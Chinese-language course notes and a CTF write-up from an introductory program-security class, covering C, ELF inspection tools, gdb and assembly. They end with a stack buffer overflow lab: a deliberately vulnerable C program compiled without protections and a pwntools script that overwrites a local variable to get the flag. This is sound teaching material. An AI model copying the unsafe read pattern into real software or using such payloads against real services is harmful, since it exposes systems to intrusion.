# SecurityFocus Online -程式安全入門課程 筆記 & 練習題writeup 因為我是自己的虛擬機,這裡證明以使用者yiwen取代echo yiwen 筆記記一些我不熟或新學到的 **JMGSH y1w3n 2024.01.31** --- 關於課程 這次課程為線上形式,分成2天,在課程中我們能學到如何在Linux環境中寫程式並編譯執行及利用分析執行檔,課程中程式語言以C語言為主,有C語言的基礎後進到組合語言,介紹幾款逆向工具並操作(gdb、radare2、ghidra),最後用以上學到的技巧完成PWNBuffer overflow 的題目。 [課程github連結](https://github.com/MyFirstSecurity2020/ProgSec/tree/main?tab=readme-ov-file) --- OUTLINE [TOC] ## 一. Linux C 程式設計 ### 1. 編譯執行 * ``gedit c1.c`` : 創建名為c1.c的檔案(會跳出可以輸入程式碼的地方) * ``gcc c1.c -o c1`` : 編譯檔案,創建名為c1的執行檔 * ``./c1`` : 執行名為c1的執行檔 ![image](https://hackmd.io/_uploads/H1zT1Oh26.png) * 編譯並執行結果 : ![image](https://hackmd.io/_uploads/Sk98KsDqa.png) ### 2. 格式化輸出 ```gcc= #include <stdio.h> #include <math.h> int main() { float a = 1.0, b = 6.0, c=4.0; printf ("%.4f", sqrt(a+b*c)); //sqrt開根號 return 0; } ``` * 編譯並執行結果 * 無法編譯? ![image](https://hackmd.io/_uploads/rJHWdJd5a.png) * 因為Linux系統預設不會自己自動連結``math.h``函式庫,所以要使用``-lm``連接 * 編譯成功 ![image](https://hackmd.io/_uploads/H1nsvJdqa.png) * 修改看看第7行``"%.4f"``看輸出什麼 * ``%.f`` : 5 * ``%.7f`` : 5.0000000 ### 3. 遞增遞減 ```gcc= #include <stdio.h> int main() { int a = 11111, b = 22222; printf("%d", (a++)+(++b)); return 0; } ``` * ``a++`` 跟``++a``差別 * ``a++`` : 會先執行整個敘述後再將a的值加1 * ``++a`` : 先把a的值加1,再執行整個敘述 ### 4. ``? :`` 運算子(三元運算子) ```gcc= #include<stdio.h> int main() { int num; printf("請輸入一個正整數 : "); scanf("%d",&num); (num%2==0)?printf("偶數"):printf("奇數"); //要是num%2等於0就輸出偶數,否則輸出奇數 } ``` * 編譯並執行結果 ![image](https://hackmd.io/_uploads/Bk6ylxuqa.png) ### 5. HW * Q1 : 底下輸出結果是多少? and why? ```gcc= #include <stdio.h> #include <stdlib.h> int main(void) { int x; float y; for (x=0, y=50; x<25; x+=5, y/=2) printf("x=%d, y=%4.2f\n", x, y); return 0; } ``` * A1: * 直接執行 ![image](https://hackmd.io/_uploads/BJL-mld9p.png) * 因為迴圈在``x<25``之前會一直執行,輸出為當前x值和y值,每執行完1次x就+5、y除2 --- * Q2 : 底下輸出結果是多少? and why? ```gcc= #include <stdio.h> #include <stdlib.h> int main(int argc, char* argv[]) { int i, sum = 2, prm = atoi(argv[1]); for(i = 3; i < prm; i++) { int j; int flag = 1; for(j = i - 1; j > 1; j--) { if(i % j == 0) { flag = 0; break; } } if(flag == 1) sum += i; } printf("The sum is: %d\n", sum); } ``` * A2 : * (輸入) : (輸出) * 0~3 : 2 * 4、5 : 5 * 6、7 : 10 * 8、9 : 17 * 因為prm的值來自輸入參數,prm要大於3 for迴圈才會執行,否則sum會輸出2,當輸入為4的時候第7行的for迴圈執行1次,這時候j=2,2>1,所以會執行第11行的for迴圈,但3 % 2 != 0,不符合if條件所以不執行,再來for迴圈的j變成1不符合j>1所以for迴圈不會執行,最後因為flag等於1所以sum=2+3=5,後面以此類推 --- * Q3 : 底下輸出結果是多少? and why? ```gcc= #include <stdio.h> int main(int argc, char *argv[]) { int i, sum = 0; for(i = 0; i < 100; i++) { if(i % 3 == 0 && i % 2 == 0) sum += i; } printf("The sum is: %d\n", sum); return 0; } ``` * A3 : * 輸出 : **The sum is: 816** * 因為第一個for迴圈會執行100次,要是為3跟2的公倍數時總和就加那個數所以是6+12+18+24+30+36+42+48+54+60+66+72+78+84+90+96=816 --- * Q4 : 底下輸出結果是多少? and why? ```gcc= #include<stdio.h> void main(void){ int k=0, total=0; while(k<=16){ if(k % 4 != 0){ k++; continue; } total +=k; k++; } printf("Total=%d\n", total); } ``` * A4 : * 輸出 : **Total=40** * 因為如果k不是 4 的倍數,則k+1並跳過循環的其餘部分。如果k是 4 的倍數,total+k、k+1 --- * Q5 : 使用遞迴函數方式計算費式序列Fibonacci Serie * 因為答案在github已經秀出來了所以我用迴圈解 * writeup : ![image](https://hackmd.io/_uploads/ByR-WXY5T.png) ## 二. Linux 執行檔分析 ### readelf工具 ![image](https://hackmd.io/_uploads/Sk6zFC2n6.png) * 用於顯示有關 ELF(可執行和可連結格式)檔案的資訊。 * ``` readelf -h /bin/ls```: 顯示 /bin/ls 二進位檔案的 ELF 表頭(ELF Header) ![image](https://hackmd.io/_uploads/SJMMIAhha.png) * ``` readelf -S /bin/ls```: 顯示有關 ELF 檔案中每個sections的詳細資訊 ![image](https://hackmd.io/_uploads/r1ABUChn6.png) * ```readelf -s /bin/ls```: 符號表包含有關二進位檔案中使用的符號的信息,包括函數和變數 ![image](https://hackmd.io/_uploads/HkfF803na.png) * ```readelf -d /bin/ls```:動態連結訊息,包括共享庫依賴項和版本控制詳細資訊 ![image](https://hackmd.io/_uploads/H18sLRhhT.png) * ```readelf -l /bin/ls```:二進位檔案中段的佈局 ![image](https://hackmd.io/_uploads/rkZNwCh36.png) * ```readelf -x .text /bin/ls```:檢查 .text 部分 ![image](https://hackmd.io/_uploads/rJ1vv03nT.png) * ```readelf --dyn-syms /bin/ls```:列印動態符號 ![image](https://hackmd.io/_uploads/H19KP0nnT.png) ### objdump工具 * 可以使用指令對目標檔案或執行檔進行反編譯,以一種可閱讀形式讓我們了解二進位檔案可能帶有的附加資訊 * 範例 helloYIWEN.c ```gcc= #include <stdio.h> int main() { printf("Hello YIWEN\n ”); return 0; } ``` * 編譯 gcc -o helloYIWEN helloYIWEN.c -g * ```objdump -h helloYIWEN``` : 顯示section headers ![image](https://hackmd.io/_uploads/HJ8lWQ0hT.png) * ```objdump -S helloYIWEN```: 使用att格式反編譯(預設:使用AT&T語法) * main * ![image](https://hackmd.io/_uploads/r14Bm70hp.png) * ```objdump -S -M intel helloYIWEN``` : 使用intel格式反編譯 * AT&T 格式中,暫存器名要加上 '%' 作為字首;而在 Intel 彙編格式中,暫存器名不需要加字首 * ![image](https://hackmd.io/_uploads/rkW9BQRhT.png) ![image](https://hackmd.io/_uploads/SJmkNmRhT.png) * ```objdump -S -j .text -M intel helloYIWEN``` ![image](https://hackmd.io/_uploads/HJLeB7R3p.png) * ```objdump -S -j .text -M intel helloYIWEN --no-show-raw-insn ``` * 不顯示機器指令 ==> --no-show-raw-insn ![image](https://hackmd.io/_uploads/HJoHSQCh6.png) ### HW * 參考底下[文章](https://www.geeksforgeeks.org/hexdump-command-in-linux-with-examples/)完成測試報告 :::spoiler 報告打開這裡 * 測試報告: * 我創建了一個叫HW的檔案作為這次的分析目標 ![image](https://hackmd.io/_uploads/Sk56ZBtca.png) * ``hd -b HW`` : 一位元組八進位顯示。以十六進位顯示輸入偏移量 ![image](https://hackmd.io/_uploads/Sk8r4SFq6.png) * ``hd -c HW`` : 十六進位,字會對照在底下 ![image](https://hackmd.io/_uploads/HJqcNBYqa.png) * ``hd -C HW`` : 十六進位 + ASCII code ![image](https://hackmd.io/_uploads/SJN6HSKqT.png) * ``hd -d HW`` : 兩位元組十進位顯示 ![image](https://hackmd.io/_uploads/rkKvLHtqT.png) * ``hd -n <length> HW`` : 顯示前n個字元 ![image](https://hackmd.io/_uploads/HJnWdSt9a.png) * ``hd -o HW`` : 二位元組八進位顯示 ![image](https://hackmd.io/_uploads/Sk3UurFqa.png) * ``hd -s <offset> HW`` : 少顯示前n個字元 ![image](https://hackmd.io/_uploads/ryVidBF5T.png) * ``hd -v HW`` : 顯示所有輸入資料 ![image](https://hackmd.io/_uploads/Hy-xYBKc6.png) * ``hd -x HW`` : 兩位元組十六進位顯示 ![image](https://hackmd.io/_uploads/r1K0uSY9p.png) ::: #### CTF練習題 * hexedit * 用``strings <filename> | grep <關鍵字> `` ![image](https://hackmd.io/_uploads/HytO5SK96.png) * FLAG : **easyctf{ffee0779}** * networkingOK.pcap * 法一 : 因為是網路封包所以用wireshark打開 * 點第一個封包 -> follow -> tcp stream ![image](https://hackmd.io/_uploads/HyBXiSt5a.png) * 法二 : 用string ![image](https://hackmd.io/_uploads/HJ8njBFqp.png) * FLAG : **flag{d316759c281bf925d600be698a4973d5}** ## 三. Linux 組合程式設計 ```asm= ; hello.asm section .data msg db "hello, CTFer",0 section .bss section .text global main main: mov rax, 1 ; 1 = write mov rdi, 1 ; 1 = to stdout mov rsi, msg ; string to display in rsi mov rdx, 12 ; length of the string, without 0 syscall ; display the string mov rax, 60 ; 60 = exit mov rdi, 0 ; 0 = success exit code syscall ; quit ``` * 組合語言就是對暫存器下指令 | %rax | syscall | %rdi | %rsi | %rdx| | ---- | ------- | ---- |------|-----| | 1 | sys_write |unsigned int fd | char *buf | size_t count| | 60 |sys_exit | int error_code | * 使用myCompiler線上編譯 ![image](https://hackmd.io/_uploads/r1OuWm59T.png) * **C語言的一行在組合語言會變得很長** --- ### GDB教材導讀 ![image](https://hackmd.io/_uploads/SyWvBXqqa.png) #### 使用 gdb 分析hello執行檔 * ``gdb hello`` : ![image](https://hackmd.io/_uploads/HyaJP7c5p.png) * ``list`` : 列出組合語言 ![image](https://hackmd.io/_uploads/SkLH8mcqp.png) * ``run`` : 執行 ![image](https://hackmd.io/_uploads/rk1tIXqqa.png) * ``quit`` : 離開 ![image](https://hackmd.io/_uploads/SydZvmc9p.png) * ``set disassembly-flavor intel`` : 讓GDB可以去竄改hello檔(intel語法格式) * ``disassemble main`` : 反組譯main ![image](https://hackmd.io/_uploads/Hk8rOQq5p.png) * `` x/c 0x404028`` : x->看、c->字元 ![image](https://hackmd.io/_uploads/B1ao_Q5qa.png) * `` x/10 0x404028`` : 看10個 ![image](https://hackmd.io/_uploads/HytMY799a.png) * `` x/s 0x404028`` : 看整個字串 ![image](https://hackmd.io/_uploads/H18dKQ99p.png) * ``break main`` : 設定中斷點在main ![image](https://hackmd.io/_uploads/Syd49m9qp.png) * ``i r`` : 看暫存器目前存的東西 rip存的就是下一個要執行的 ![image](https://hackmd.io/_uploads/rJ2RqX9qT.png) ## 四. 逆向工程入門 ### 我的第一個PWN實測:Buffer overflow(緩衝區溢位) #### pass.c ```gcc= #include"stdio.h" #include"stdlib.h" int main(){ setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); int token = 1234; char key[16]; printf("Billy left his key in the locked room.\n"); printf("However, he forgot the token of the room.\n"); printf("Do you know what's the key?"); read(0, key, 40); if((int)token == 0xdeadbeef){ printf("Door open. OwO\n"); system("cat ./flag"); }else{ printf("Cannot open door. QwQ\n"); } return 0; } ``` * ``gcc -fno-stack-protector -z execstack pass.c -o pass -no-pie`` : 編譯 * ``-fno-stack-protector`` : 沒有stack保護 * ``-z execstack`` : 讓stack可以執行 * ``socat TCP-LISTEN:1988,fork EXEC:'./pass'`` : 建立伺服器端 ![image](https://hackmd.io/_uploads/S1yW6I99p.png) #### 攻擊者端 * 看到pass.c第15行讀了40個但key只有16個,這裡有一個漏洞叫Buffer overflow * 當讀取的字串長度超過了分配的記憶體大小會怎麼樣? * 會把後面的記憶體空間覆寫過去 * 就可以竄改 return address,掌控程式的運作流程 * 使用``pwn checksec pass``看到它stack沒有保護 ![image](https://hackmd.io/_uploads/rkbapUq9a.png) * 用r2下去看,分析完後用``afl``看函數 ![image](https://hackmd.io/_uploads/S1_D0Icq6.png) * 然後跳到main : ``s main`` * 用``VV``打開可視化界面 ![image](https://hackmd.io/_uploads/HJUcyD996.png) * ``jne 0x40127b`` : 跟0xdeadbeef不一樣的話就跳到0x40127b -> Cannot open door. QwQ ![image](https://hackmd.io/_uploads/HkkDgv5cp.png) * 設了兩個變數 * 代表有一個save rbp * local_20h : char key[16] * local_4h : int token ![image](https://hackmd.io/_uploads/BySd8v59p.png) ![image](https://hackmd.io/_uploads/Sya2Mv9qa.png) * 存入1234 * 要把1234蓋掉變成0xdeadbeef * 要填入多少才能蓋掉? * 0x20 - 0x4 = 32 - 4 = 28 #### slove. py ``` from pwn import * # r = process('./pass') # r = remote('120.114.62.210',6125) r = remote('localhost',1988) payload = b'A'*28 r.sendline(payload+ p64(0xdeadbeef)) r.interactive() ``` ![image](https://hackmd.io/_uploads/HyitDv99T.png) * FLAG : **MyFirstProgSegCTF{Have a GoOd dAY!}** ### 延伸學習 用逆向的技巧解臺大電腦安全的題目(linux環境使用,radare2、ghidra、IDA) [簡報](https://www.canva.com/design/DAF6UzXJVMY/Cwgp6hPTBTKOEzPa31Ypng/edit?utm_content=DAF6UzXJVMY&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton)